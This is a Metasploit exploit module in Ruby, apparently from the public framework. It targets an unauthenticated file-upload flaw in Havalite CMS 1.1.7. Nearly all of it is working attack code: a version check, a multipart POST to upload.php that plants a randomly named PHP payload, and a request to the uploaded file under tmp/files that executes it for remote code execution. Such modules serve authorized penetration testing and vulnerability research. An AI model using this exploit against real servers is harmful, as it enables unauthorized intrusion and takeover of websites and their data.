## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::PhpEXE def initialize(info = {}) super( update_info( info, 'Name' => 'Havalite CMS Arbitary File Upload Vulnerability', 'Description' => %q{ This module exploits a file upload vulnerability found in Havalite CMS 1.1.7, and possibly prior. Attackers can abuse the upload feature in order to upload a malicious PHP file without authentication, which results in arbitrary remote code execution. }, 'License' => MSF_LICENSE, 'Author' => [ 'CWH', 'sinn3r' # Metasploit ], 'References' => [ ['CVE', '2013-10055'], ['OSVDB', '94405'], ['EDB', '26243'] ], 'Payload' => { 'BadChars' => "\x00" }, 'Targets' => [ [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ], [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ] ], 'Privileged' => false, 'DisclosureDate' => '2013-06-17', 'DefaultTarget' => 0, 'Notes' => { 'Reliability' => UNKNOWN_RELIABILITY, 'Stability' => UNKNOWN_STABILITY, 'SideEffects' => UNKNOWN_SIDE_EFFECTS } ) ) register_options( [ OptString.new('TARGETURI', [true, 'The base path to havalite', '/']) ] ) end # # Checks if target is running HavaLite CMS 1.1.7 # We only flag 1.1.7 as vulnerable, because we don't have enough information from # the vendor or OSVDB about exactly which ones are really vulnerable. # def check uri = normalize_uri(target_uri.path, 'havalite/') res = send_request_raw({ 'uri' => uri }) if !res vprint_error('Connection timed out') return Exploit::CheckCode::Unknown end js_src = res.body.scan(%r{}im).flatten[0] || '' version = js_src.scan(/var myVersion = '(.+)';/).flatten[0] || '' if !version.empty? and version =~ /1\.1\.7/ vprint_status("Version found: #{version}") return Exploit::CheckCode::Appears end Exploit::CheckCode::Safe end # # Uploads our malicious file # def upload(base) p = get_write_exec_payload(unlink_self: true) fname = "#{rand_text_alpha(5)}.php" data = Rex::MIME::Message.new data.add_part(p, 'application/octet-stream', nil, "form-data; name=\"files[]\"; filename=\"#{fname}\"") post_data = data.to_s res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(base, 'havalite', 'upload.php'), 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => post_data }) if !res fail_with(Failure::Unknown, "#{peer} - Request timed out while uploading") elsif res.code.to_i == 404 fail_with(Failure::NotFound, "#{peer} - No upload.php found") elsif res.body =~ /"error":"abort"/ fail_with(Failure::Unknown, "#{peer} - Unable to write #{fname}") end return fname end # # Executes our uploaded malicious file # def exec(base, payload_fname) res = send_request_raw({ 'uri' => normalize_uri(base, 'havalite', 'tmp', 'files', payload_fname) }) if res and res.code == 404 fail_with(Failure::NotFound, "#{peer} - Not found: #{payload_fname}") end end def exploit base = target_uri.path print_status('Uploading malicious file...') fname = upload(base) print_status("Executing #{fname}...") exec(base, fname) end end